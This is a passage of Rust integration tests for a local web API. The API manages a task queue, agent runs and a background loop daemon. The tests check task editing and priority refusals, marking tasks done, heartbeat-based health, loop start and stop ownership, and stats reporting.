6849 let f = Fixture::start().await;
6850 let queue = f.queue();
6851 let mut task = Task::new(
6852 "in flight".to_owned(),
6853 "x".to_owned(),
6854 PathBuf::from("/repo/magi"),
6855 Source::Human,
6856 );
6857 task.start("20260902-140502-bbbb".to_owned());
6858 queue.put(&mut task).expect("file the task");
6859
6860 let res = f
6861 .post(
6862 &format!("/api/queue/{}/priority", task.id),
6863 Some(r#"{"priority":9}"#),
6864 )
6865 .await;
6866 assert_eq!(res.status, 400, "{}", res.body);
6867 assert!(
6868 res.json()["error"]
6869 .as_str()
6870 .is_some_and(|e| e.contains("running")),
6871 "{}",
6872 res.body
6873 );
6874 assert_eq!(
6875 queue.get(&task.id).expect("reload").priority,
6876 0,
6877 "the refused write must not partially apply"
6878 );
6879 }
6880
6881 #[tokio::test]
6882 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6883 let f = Fixture::start().await;
6884 let queue = f.queue();
6885 let mut task = Task::new(
6886 "old title".to_owned(),
6887 "old instruction".to_owned(),
6888 PathBuf::from("/repo/magi"),
6889 Source::Agent {
6890 run: "20260101-000000-beef".to_owned(),
6891 node: "implement".to_owned(),
6892 },
6893 );
6894 task.runs.push("20260101-000000-beef".to_owned());
6895 queue.put(&mut task).expect("file the task");
6896 let created_at = task.created_at;
6897
6898 let edited = f
6899 .post(
6900 &format!("/api/queue/{}/edit", task.id),
6901 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6902 )
6903 .await;
6904 assert_eq!(edited.status, 200, "{}", edited.body);
6905 let body = edited.json();
6906 assert_eq!(body["title"], "new title");
6907 assert_eq!(body["instruction"], "new instruction");
6908 assert_eq!(body["id"], task.id, "editing must not mint a new id");
6909 assert_eq!(body["created_at"], created_at.to_string());
6910 assert_eq!(
6911 body["source"]["kind"], "agent",
6912 "editing a task an agent filed must not turn it human: {body}"
6913 );
6914 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6915
6916 let reloaded = queue.get(&task.id).expect("reload");
6917 assert_eq!(reloaded.title, "new title");
6918 assert_eq!(reloaded.instruction, "new instruction");
6919 }
6920
6921 #[tokio::test]
6922 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6923 let f = Fixture::start().await;
6924 let queue = f.queue();
6925 let mut task = Task::new(
6926 "in flight".to_owned(),
6927 "do not touch".to_owned(),
6928 PathBuf::from("/repo/magi"),
6929 Source::Human,
6930 );
6931 task.start("20260902-140502-bbbb".to_owned());
6932 queue.put(&mut task).expect("file the task");
6933
6934 let res = f
6935 .post(
6936 &format!("/api/queue/{}/edit", task.id),
6937 Some(r#"{"title":"x","instruction":"y"}"#),
6938 )
6939 .await;
6940 assert_eq!(res.status, 400, "{}", res.body);
6941 assert!(
6942 res.json()["error"]
6943 .as_str()
6944 .is_some_and(|e| e.contains("running")),
6945 "{}",
6946 res.body
6947 );
6948 assert_eq!(
6949 queue.get(&task.id).expect("reload").instruction,
6950 "do not touch",
6951 "the refused edit must not change the file"
6952 );
6953 }
6954
6955 #[tokio::test]
6956 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6957 let f = Fixture::start().await;
6958 let queue = f.queue();
6959 let mut task = Task::new(
6960 "busy".to_owned(),
6961 "Running right now".to_owned(),
6962 PathBuf::from("/repo/magi"),
6963 Source::Human,
6964 );
6965 queue.put(&mut task).expect("file the task");
6966 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6967
6968 let priority = f
6969 .post(
6970 &format!("/api/queue/{}/priority", task.id),
6971 Some(r#"{"priority":9}"#),
6972 )
6973 .await;
6974 assert_eq!(priority.status, 409, "{}", priority.body);
6975
6976 let edit = f
6977 .post(
6978 &format!("/api/queue/{}/edit", task.id),
6979 Some(r#"{"title":"x","instruction":"y"}"#),
6980 )
6981 .await;
6982 assert_eq!(edit.status, 409, "{}", edit.body);
6983 }
6984
6985 #[tokio::test]
6986 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6987 let f = Fixture::start().await;
6988 let queue = f.queue();
6989 let mut task = Task::new(
6990 "shipped by hand".to_owned(),
6991 "merged outside the loop".to_owned(),
6992 PathBuf::from("/repo/magi"),
6993 Source::Agent {
6994 run: "20260101-000000-b455".to_owned(),
6995 node: "implement".to_owned(),
6996 },
6997 );
6998 task.runs.push("20260101-000000-b455".to_owned());
6999 task.runs.push("20260101-000000-9af4".to_owned());
7000 queue.put(&mut task).expect("file the task");
7001 let created_at = task.created_at;
7002
7003 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7004 assert_eq!(done.status, 200, "{}", done.body);
7005 assert_eq!(done.json()["status_str"], "done");
7006
7007 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
7008 assert_eq!(
7009 reloaded.runs,
7010 ["20260101-000000-b455", "20260101-000000-9af4"]
7011 );
7012 assert_eq!(
7013 reloaded.source,
7014 Source::Agent {
7015 run: "20260101-000000-b455".to_owned(),
7016 node: "implement".to_owned(),
7017 }
7018 );
7019 assert_eq!(reloaded.created_at, created_at);
7020 }
7021
7022 #[tokio::test]
7023 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
7024 let f = Fixture::start().await;
7029 let queue = f.queue();
7030 let mut task = Task::new(
7031 "landed while held".to_owned(),
7032 "x".to_owned(),
7033 PathBuf::from("/repo/magi"),
7034 Source::Human,
7035 );
7036 task.hold_manual(Some("waiting on 3ed9".to_owned()));
7037 queue.put(&mut task).expect("file the held task");
7038
7039 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7040 assert_eq!(done.status, 200, "{}", done.body);
7041 assert_eq!(done.json()["status_str"], "done");
7042 assert!(
7043 done.json()["hold_reason"].is_null(),
7044 "a done task cannot still be waiting on something: {}",
7045 done.body
7046 );
7047 }
7048
7049 #[tokio::test]
7050 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
7051 let f = Fixture::start().await;
7056 let queue = f.queue();
7057 let runs = f.runs();
7058 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
7059 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
7063
7064 let mut task = Task::new(
7065 "landed by hand".to_owned(),
7066 "x".to_owned(),
7067 PathBuf::from("/repo/magi"),
7068 Source::Human,
7069 );
7070 task.runs.push("20260101-000000-doa1".to_owned());
7071 task.runs.push("20260101-000000-doa2".to_owned());
7072 queue.put(&mut task).expect("file the task");
7073
7074 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7075 assert_eq!(done.status, 200, "{}", done.body);
7076
7077 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
7078 .expect("run still on disk under this fixture's own home");
7079 assert_eq!(
7080 reloaded_run.status,
7081 RunStatus::Superseded,
7082 "closing the task by hand must relabel the earlier blocked attempt exactly \
7083 like the loop's own settle path does"
7084 );
7085 }
7086
7087 #[tokio::test]
7088 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
7089 let f = Fixture::start().await;
7094 let queue = f.queue();
7095 let runs = f.runs();
7096 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
7097 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
7098
7099 let mut task = Task::new(
7100 "closed with nothing actually landed".to_owned(),
7101 "x".to_owned(),
7102 PathBuf::from("/repo/magi"),
7103 Source::Human,
7104 );
7105 task.runs.push("20260101-000000-dob1".to_owned());
7106 task.runs.push("20260101-000000-dob2".to_owned());
7107 queue.put(&mut task).expect("file the task");
7108
7109 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7110 assert_eq!(done.status, 200, "{}", done.body);
7111
7112 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
7113 .expect("run still on disk under this fixture's own home");
7114 assert_eq!(
7115 reloaded_run.status,
7116 RunStatus::Blocked,
7117 "the last recorded attempt never landed, so the earlier one must not be \
7118 relabelled as superseded by it"
7119 );
7120 }
7121
7122 #[tokio::test]
7123 async fn unknown_ids_are_json_not_found_on_both_stores() {
7124 let f = Fixture::start().await;
7125
7126 let run = f.get("/api/runs/nosuchrun").await;
7127 let task = f.post("/api/queue/nosuchtask/hold", None).await;
7128
7129 assert_eq!(run.status, 404);
7130 assert_eq!(task.status, 404);
7131 assert!(
7132 run.json()["error"]
7133 .as_str()
7134 .is_some_and(|e| e.contains("run")),
7135 "the error names what was not found: {}",
7136 run.body
7137 );
7138 assert!(
7139 task.json()["error"]
7140 .as_str()
7141 .is_some_and(|e| e.contains("task")),
7142 "the error names what was not found: {}",
7143 task.body
7144 );
7145 }
7146
7147 #[tokio::test]
7148 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
7149 let f = Fixture::start().await;
7150
7151 let missing = f.get("/api/health").await.json();
7152 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
7153
7154 write_daemon(
7155 f.home.path(),
7156 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7157 );
7158 let stale = f.get("/api/health").await.json();
7159 assert_eq!(
7160 stale["daemon"]["running"], false,
7161 "a minute without a heartbeat is a dead daemon, not a busy one"
7162 );
7163 assert!(
7164 stale["daemon"]["stale_for_secs"]
7165 .as_i64()
7166 .is_some_and(|s| s >= 55),
7167 "staleness is reported so the UI can say how long: {stale}"
7168 );
7169
7170 write_daemon(f.home.path(), Timestamp::now());
7171 let fresh = f.get("/api/health").await.json();
7172 assert_eq!(fresh["daemon"]["running"], true);
7173 assert_eq!(fresh["daemon"]["idle"], false);
7174 assert_eq!(fresh["daemon"]["pid"], 4242);
7175 assert_eq!(fresh["daemon"]["completed"], 7);
7176 assert_eq!(
7177 fresh["daemon"]["current"][0]["task"],
7178 "20260902-140501-aaaa"
7179 );
7180 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
7181 }
7182
7183 #[tokio::test]
7184 async fn the_loop_is_not_running_until_something_starts_it() {
7185 let f = Fixture::start().await;
7186
7187 let view = f.get("/api/loop").await.json();
7188 assert_eq!(view["running"], false);
7189 assert_eq!(
7190 view["owned"], false,
7191 "nobody owns a loop that does not exist: {view}"
7192 );
7193 assert_eq!(view["stopping"], false);
7194 assert_eq!(view["last_error"], Value::Null);
7195 assert_eq!(view["daemon"]["running"], false);
7196 assert_eq!(
7197 view["repo"], "/repo/magi",
7198 "the repository a start would use, named before it is started"
7199 );
7200 }
7201
7202 #[tokio::test]
7203 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
7204 let f = Fixture::start().await;
7205
7206 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7207 assert_eq!(res.status, 200, "{}", res.body);
7208 let view = res.json();
7209 assert_eq!(view["running"], true);
7210 assert_eq!(
7211 view["owned"], true,
7212 "the loop the UI started is the UI's own to stop: {view}"
7213 );
7214 assert_eq!(
7215 view["merge"],
7216 Value::Null,
7217 "no override was given, so each repository's own config decides"
7218 );
7219
7220 let health = f.get("/api/health").await.json();
7224 assert_eq!(health["loop"]["running"], true, "{health}");
7225 assert_eq!(health["loop"]["owned"], true, "{health}");
7226
7227 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7228 }
7229
7230 #[tokio::test]
7231 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
7232 let f = Fixture::start().await;
7233 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7234 assert_eq!(first.status, 200, "{}", first.body);
7235
7236 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7237 assert_eq!(
7238 again.status, 409,
7239 "two loops on one queue race for the same claims: {}",
7240 again.body
7241 );
7242 assert!(
7243 again.json()["error"]
7244 .as_str()
7245 .is_some_and(|e| e.contains("already running the loop")),
7246 "the refusal has to say why: {}",
7247 again.body
7248 );
7249 assert_eq!(
7250 f.get("/api/loop").await.json()["running"],
7251 true,
7252 "and the loop that was already running is untouched by it"
7253 );
7254
7255 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7256 }
7257
7258 #[tokio::test]
7259 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
7260 let f = Fixture::start().await;
7261 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7262
7263 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7264 assert_eq!(
7265 res.status, 200,
7266 "the answer must not wait for the loop: a run in flight is tens of \
7267 minutes and the operator is holding a phone: {}",
7268 res.body
7269 );
7270
7271 let view = settled(&f, |v| v["running"] == false).await;
7272 assert_eq!(view["owned"], false);
7273 assert_eq!(
7274 view["stopping"], false,
7275 "a loop that has stopped is not still stopping: {view}"
7276 );
7277 assert_eq!(
7278 view["last_error"],
7279 Value::Null,
7280 "a loop that was asked to stop did not fail: {view}"
7281 );
7282
7283 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7286 assert_eq!(twice.status, 200, "{}", twice.body);
7287 }
7288
7289 #[tokio::test]
7290 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
7291 let f = Fixture::start().await;
7292 write_daemon(f.home.path(), Timestamp::now());
7295
7296 let view = f.get("/api/loop").await.json();
7297 assert_eq!(view["running"], false, "not in this process: {view}");
7298 assert_eq!(view["owned"], false, "and not this process's to control");
7299 assert_eq!(
7300 view["daemon"]["running"], true,
7301 "but a loop is alive somewhere, which is what the UI must say"
7302 );
7303 assert_eq!(view["daemon"]["pid"], 4242);
7304
7305 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
7306 let res = f.post("/api/loop", Some(body)).await;
7307 assert_eq!(
7308 res.status, 409,
7309 "neither button may pretend to work on someone else's loop: {}",
7310 res.body
7311 );
7312 assert!(
7313 res.json()["error"]
7314 .as_str()
7315 .is_some_and(|e| e.contains("4242")),
7316 "the refusal has to name the process the operator must go to: {}",
7317 res.body
7318 );
7319 }
7320 assert_eq!(
7321 f.get("/api/loop").await.json()["running"],
7322 false,
7323 "and the refusal started nothing"
7324 );
7325 }
7326
7327 #[tokio::test]
7328 async fn a_stale_status_file_is_not_a_foreign_owner() {
7329 let f = Fixture::start().await;
7330 write_daemon(
7331 f.home.path(),
7332 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7333 );
7334
7335 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7336 assert_eq!(
7337 res.status, 200,
7338 "a daemon killed a minute ago must not lock the loop out of its \
7339 own home for good: {}",
7340 res.body
7341 );
7342 assert_eq!(res.json()["running"], true);
7343
7344 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7345 }
7346
7347 #[tokio::test]
7348 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
7349 let f = Fixture::start().await;
7350 let before = f.get("/api/health").await.json()["loop_rev"]
7351 .as_u64()
7352 .expect("a loop revision");
7353
7354 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7355
7356 let after = f.get("/api/health").await.json()["loop_rev"]
7357 .as_u64()
7358 .expect("a loop revision");
7359 assert!(
7360 after > before,
7361 "the loop is in-process state, so this counter is the only thing \
7362 that tells a second device the first one started it: {before} -> \
7363 {after}"
7364 );
7365
7366 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7367 }
7368
7369 #[tokio::test]
7370 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
7371 let f = Fixture::with_loop(launch_broken).await;
7372
7373 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7374 assert_eq!(
7375 res.status, 200,
7376 "starting it is not the failure: {}",
7377 res.body
7378 );
7379
7380 let view = settled(&f, |v| v["last_error"].is_string()).await;
7381 assert_eq!(
7382 view["running"], false,
7383 "a loop that died must not read as running, or the operator has \
7384 nothing to press: {view}"
7385 );
7386 assert_eq!(view["owned"], false);
7387 assert!(
7388 view["last_error"]
7389 .as_str()
7390 .is_some_and(|e| e.contains("read-only file system")),
7391 "the phone is where a loop that died at 3am is visible: {view}"
7392 );
7393
7394 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7397 assert_eq!(again.status, 200, "{}", again.body);
7398 assert_eq!(
7399 again.json()["last_error"],
7400 Value::Null,
7401 "a fresh start does not keep showing why the last one died"
7402 );
7403 }
7404
7405 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
7417 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
7418 let home = TempDir::new().expect("temp home");
7419 let runs = home.path().join("runs");
7420 std::fs::create_dir_all(&runs).expect("runs dir");
7421 let ui = Ui::new(
7422 Queue::at(home.path().join("queue")),
7423 Questions::at(home.path().join("questions")),
7424 Talks::at(home.path().join("talks")),
7425 runs,
7426 home.path().to_path_buf(),
7427 PathBuf::from("/repo/magi"),
7428 )
7429 .with_worktrees_root(home.path().join("wt"))
7430 .with_launch(launch_knocking_on_the_way_out);
7431 let looping = ui.looping();
7432 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7433 .await
7434 .expect("bind loopback");
7435 let addr = listener.local_addr().expect("local addr");
7436 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
7437 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7438
7439 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
7440 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
7441
7442 let bound = std::sync::Mutex::new(None);
7457 hand_over(home.path(), &looping, served, || {
7458 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
7459 let attempt = loop {
7460 match std::net::TcpListener::bind(addr) {
7461 Ok(l) => {
7462 drop(l);
7463 break Ok(());
7464 }
7465 Err(e)
7466 if e.kind() == std::io::ErrorKind::AddrInUse
7467 && std::time::Instant::now() < deadline =>
7468 {
7469 std::thread::sleep(std::time::Duration::from_millis(10));
7470 }
7471 Err(e) => break Err(e.to_string()),
7472 }
7473 };
7474 *bound.lock().expect("bound") = Some(attempt);
7475 Ok(())
7476 })
7477 .await
7478 .expect("hand over");
7479
7480 assert_eq!(
7481 *PARK_HEARD.lock().expect("park heard"),
7482 Some(200),
7483 "the deck must answer while the loop is parking"
7484 );
7485 let attempt = bound
7486 .lock()
7487 .expect("bound")
7488 .take()
7489 .expect("the successor was started");
7490 assert!(
7491 attempt.is_ok(),
7492 "and the address must be free by the time it is: {attempt:?}"
7493 );
7494 }
7495
7496 #[tokio::test]
7497 async fn a_newer_daemon_status_file_still_renders() {
7498 let f = Fixture::start().await;
7499 std::fs::write(
7502 f.home.path().join("daemon.json"),
7503 serde_json::json!({
7504 "schema": 2,
7505 "updated_at": Timestamp::now().to_string(),
7506 "idle": true,
7507 "surprise": { "nested": [1, 2, 3] },
7508 })
7509 .to_string(),
7510 )
7511 .expect("write daemon.json");
7512
7513 let health = f.get("/api/health").await;
7514
7515 assert_eq!(health.status, 200);
7516 assert_eq!(health.json()["daemon"]["running"], true);
7517 }
7518
7519 #[tokio::test]
7520 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7521 let f = Fixture::start().await;
7522 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7523 let broken = f.runs().join("20260902-140502-bad");
7524 std::fs::create_dir_all(&broken).expect("run dir");
7525 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7526
7527 let list = f.get("/api/runs").await;
7528 let detail = f.get("/api/runs/20260902-140502-bad").await;
7529
7530 assert_eq!(list.status, 200);
7531 let listed = list.json();
7532 let ids: Vec<&str> = listed
7533 .as_array()
7534 .expect("an array")
7535 .iter()
7536 .map(|r| r["id"].as_str().expect("an id"))
7537 .collect();
7538 assert_eq!(
7539 ids,
7540 vec!["20260902-140501-good"],
7541 "one unreadable run must not cost the operator the whole history"
7542 );
7543 assert_eq!(detail.status, 500);
7544 assert!(
7545 detail.json()["error"]
7546 .as_str()
7547 .is_some_and(|e| e.contains("run.json")),
7548 "the failure names the file to look at: {}",
7549 detail.body
7550 );
7551 let health = f.get("/api/health").await;
7555 assert_eq!(health.json()["runs_unreadable"], 1);
7556 }
7557
7558 #[tokio::test]
7563 async fn stats_runs_unreadable_matches_health() {
7564 let f = Fixture::start().await;
7565 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7566 let broken = f.runs().join("20260902-140502-bad");
7567 std::fs::create_dir_all(&broken).expect("run dir");
7568 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7569
7570 let stats = f.get("/api/stats").await;
7571 let health = f.get("/api/health").await;
7572
7573 assert_eq!(stats.status, 200);
7574 assert_eq!(stats.json()["totals"]["runs"], 1);
7575 assert_eq!(stats.json()["runs_unreadable"], 1);
7576 assert_eq!(
7577 stats.json()["runs_unreadable"],
7578 health.json()["runs_unreadable"],
7579 "the dashboard and /api/health must never disagree about how many \
7580 runs could not be read"
7581 );
7582 }
7583
7584 #[tokio::test]
7585 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
7586 let f = Fixture::start().await;
7587 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7588 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
7589 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
7590
7591 let totals = &f.get("/api/stats").await.json()["totals"];
7592 assert_eq!(totals["runs"], 3);
7593 assert_eq!(totals["merged"], 1);
7594 assert_eq!(totals["stalled"], 1);
7595 assert_eq!(totals["in_progress"], 1);
7596 assert_eq!(totals["blocked"], 0);
7599 assert_eq!(totals["ready"], 0);
7600 }
7601
7602 #[tokio::test]
7603 async fn stats_advisors_report_proposals_and_reflection() {
7604 use crate::advise::{Advice, AdvisorRecord, Reflection};
7605 use crate::verdict::Proposal;
7606
7607 let f = Fixture::start().await;
7608 let mut state = RunState::new(
7609 PathBuf::from("/repo/magi"),
7610 "main".to_owned(),
7611 "0123456789abcdef".to_owned(),
7612 "task".to_owned(),
7613 Config::default(),
7614 );
7615 state.id = "20260902-140501-a".to_owned();
7616 state.status = RunStatus::Merged;
7617 state.advice = Some(Advice {
7618 records: vec![
7619 AdvisorRecord {
7620 seat: "advisor-1".to_owned(),
7621 agent: "alpha".to_owned(),
7622 proposal: Some(Proposal {
7623 approach: "do it".to_owned(),
7624 key_tradeoff: "speed over memory".to_owned(),
7625 risks: Vec::new(),
7626 touches: Vec::new(),
7627 why_not_naive: "breaks under load".to_owned(),
7628 }),
7629 error: None,
7630 duration_ms: 0,
7631 reflection: Reflection::Strong,
7632 },
7633 AdvisorRecord {
7634 seat: "advisor-2".to_owned(),
7635 agent: "alpha".to_owned(),
7636 proposal: None,
7637 error: Some("timed out".to_owned()),
7638 duration_ms: 0,
7639 reflection: Reflection::Absent,
7640 },
7641 ],
7642 synthesis: Some("blended brief".to_owned()),
7643 });
7644 let dir = f.runs().join(&state.id);
7645 std::fs::create_dir_all(&dir).expect("run dir");
7646 std::fs::write(
7647 dir.join("run.json"),
7648 serde_json::to_string_pretty(&state).expect("serialize run"),
7649 )
7650 .expect("write run.json");
7651
7652 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
7653 let alpha = advisors
7654 .as_array()
7655 .expect("an array")
7656 .iter()
7657 .find(|a| a["agent"] == "alpha")
7658 .expect("alpha row");
7659 assert_eq!(alpha["seated"], 2);
7660 assert_eq!(alpha["proposed"], 1);
7661 assert_eq!(alpha["absent"], 1);
7662 assert_eq!(alpha["strong"], 1);
7663 assert_eq!(alpha["faint"], 0);
7664 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
7665 }
7666
7667 #[tokio::test]
7668 async fn stats_queue_counts_come_from_the_live_queue() {
7669 let f = Fixture::start().await;
7670 let q = f.queue();
7671 let mut queued = Task::new(
7672 "queued task".to_owned(),
7673 "do it".to_owned(),
7674 PathBuf::from("/repo"),
7675 Source::Human,
7676 );
7677 q.put(&mut queued).expect("put queued");
7678 let mut held = Task::new(
7679 "held task".to_owned(),
7680 "do it later".to_owned(),
7681 PathBuf::from("/repo"),
7682 Source::Human,
7683 );
7684 held.hold_machine(Some("out of attempts".to_owned()));
7685 q.put(&mut held).expect("put held");
7686
7687 let queue = f.get("/api/stats").await.json()["queue"].clone();
7688 assert_eq!(queue["queued"], 1);
7689 assert_eq!(queue["held"], 1);
7690 assert_eq!(queue["running"], 0);
7691 assert_eq!(queue["done"], 0);
7692 assert_eq!(queue["failed"], 0);
7693 assert_eq!(queue["blocked"], 0);
7694 }
7695
7696 #[tokio::test]
7697 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
7698 let f = Fixture::start().await;
7699 let stats = f.get("/api/stats").await;
7700 assert_eq!(stats.status, 200);
7701 assert_eq!(stats.json()["totals"]["runs"], 0);
7702 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
7703 assert_eq!(stats.json()["runs_unreadable"], 0);
7704 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
7705 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
7706 }
7707
7708 #[tokio::test]
7709 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
7710 let f = Fixture::start().await;
7711 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
7712
7713 let summary = f.get("/api/runs").await.json();
7714 let row = &summary[0];
7715 assert_eq!(row["short"], "a1b2");
7716 assert_eq!(row["status"], "ready");
7717 assert_eq!(row["done"], true);
7718 assert_eq!(row["title"], "Add a web UI");
7719 assert_eq!(row["repo_name"], "magi");
7720 assert_eq!(row["judges"], 3);
7721 assert_eq!(row["winner"], Value::Null);
7722 assert_eq!(row["reviews"], 0);
7723
7724 let detail = f.get("/api/runs/a1b2").await;
7727 assert_eq!(detail.status, 200);
7728 assert_eq!(detail.json()["base_branch"], "main");
7729 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
7730 }
7731
7732 #[tokio::test]
7740 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
7741 let f = Fixture::start().await;
7742
7743 let mut none_run = RunState::new(
7744 PathBuf::from("/repo/magi"),
7745 "main".to_owned(),
7746 "0123456789abcdef".to_owned(),
7747 "Add a web UI".to_owned(),
7748 Config::default(),
7749 );
7750 none_run.id = "20260902-140503-none".to_owned();
7751 none_run.status = RunStatus::Ready;
7752 none_run.merge = Some(crate::run::MergeOutcome {
7753 mode: crate::config::MergeMode::None,
7754 ok: true,
7755 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
7756 });
7757 write_state(&f.runs(), &none_run);
7758
7759 let mut pr_run = RunState::new(
7760 PathBuf::from("/repo/magi"),
7761 "main".to_owned(),
7762 "0123456789abcdef".to_owned(),
7763 "Add a web UI".to_owned(),
7764 Config::default(),
7765 );
7766 pr_run.id = "20260902-140504-prcl".to_owned();
7767 pr_run.status = RunStatus::Ready;
7768 pr_run.merge = Some(crate::run::MergeOutcome {
7769 mode: crate::config::MergeMode::Pr,
7770 ok: false,
7771 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
7772 });
7773 write_state(&f.runs(), &pr_run);
7774
7775 let summary = f.get("/api/runs").await.json();
7776 let rows: std::collections::HashMap<&str, &Value> = summary
7777 .as_array()
7778 .expect("an array")
7779 .iter()
7780 .map(|r| (r["id"].as_str().expect("an id"), r))
7781 .collect();
7782 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
7783 assert_eq!(
7784 rows[none_run.id.as_str()]["unmerged_by_design"],
7785 true,
7786 "a mode-none Ready must be flagged in the list"
7787 );
7788 assert_eq!(
7789 rows[pr_run.id.as_str()]["unmerged_by_design"],
7790 false,
7791 "a Ready reached by a closed pull request is a different case"
7792 );
7793
7794 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
7795 assert_eq!(none_detail["status"], "ready");
7796 assert_eq!(none_detail["unmerged_by_design"], true);
7797
7798 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
7799 assert_eq!(pr_detail["unmerged_by_design"], false);
7800 }
7801
7802 #[tokio::test]
7807 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
7808 let f = Fixture::start().await;
7809 let id = "20260902-140502-bbbb";
7813 let mut state = RunState::new(
7814 PathBuf::from("/repo/magi"),
7815 "main".to_owned(),
7816 "0123456789abcdef".to_owned(),
7817 "Add a web UI".to_owned(),
7818 Config::default(),
7819 );
7820 state.id = id.to_owned();
7821 state.status = RunStatus::Judging;
7822 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
7823 let dir = f.runs().join(id);
7824 std::fs::create_dir_all(&dir).expect("run dir");
7825 std::fs::write(
7826 dir.join("run.json"),
7827 serde_json::to_string_pretty(&state).expect("serialize run"),
7828 )
7829 .expect("write run.json");
7830
7831 let cold = f.get(&format!("/api/runs/{id}")).await.json();
7837 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
7838 assert_eq!(cold["live"], "unknown", "{cold}");
7839
7840 write_daemon(f.home.path(), Timestamp::now());
7843 let warm = f.get(&format!("/api/runs/{id}")).await.json();
7844 assert_eq!(warm["live"], "live", "{warm}");
7845 }
7846
7847 #[tokio::test]
7854 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
7855 let f = Fixture::start().await;
7856 let id = "20260922-090000-cccc";
7857 let mut state = RunState::new(
7858 PathBuf::from("/repo/magi"),
7859 "main".to_owned(),
7860 "0123456789abcdef".to_owned(),
7861 "Review only".to_owned(),
7862 Config::default(),
7863 );
7864 state.id = id.to_owned();
7865 state.status = RunStatus::Reviewing;
7866 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7867 state.driver_pid = Some(std::process::id());
7873 state.driver_started_at = Some(
7874 crate::proc::process_started_at(std::process::id())
7875 .expect("this test process's own start time must be queryable"),
7876 );
7877 let dir = f.runs().join(id);
7878 std::fs::create_dir_all(&dir).expect("run dir");
7879 std::fs::write(
7880 dir.join("run.json"),
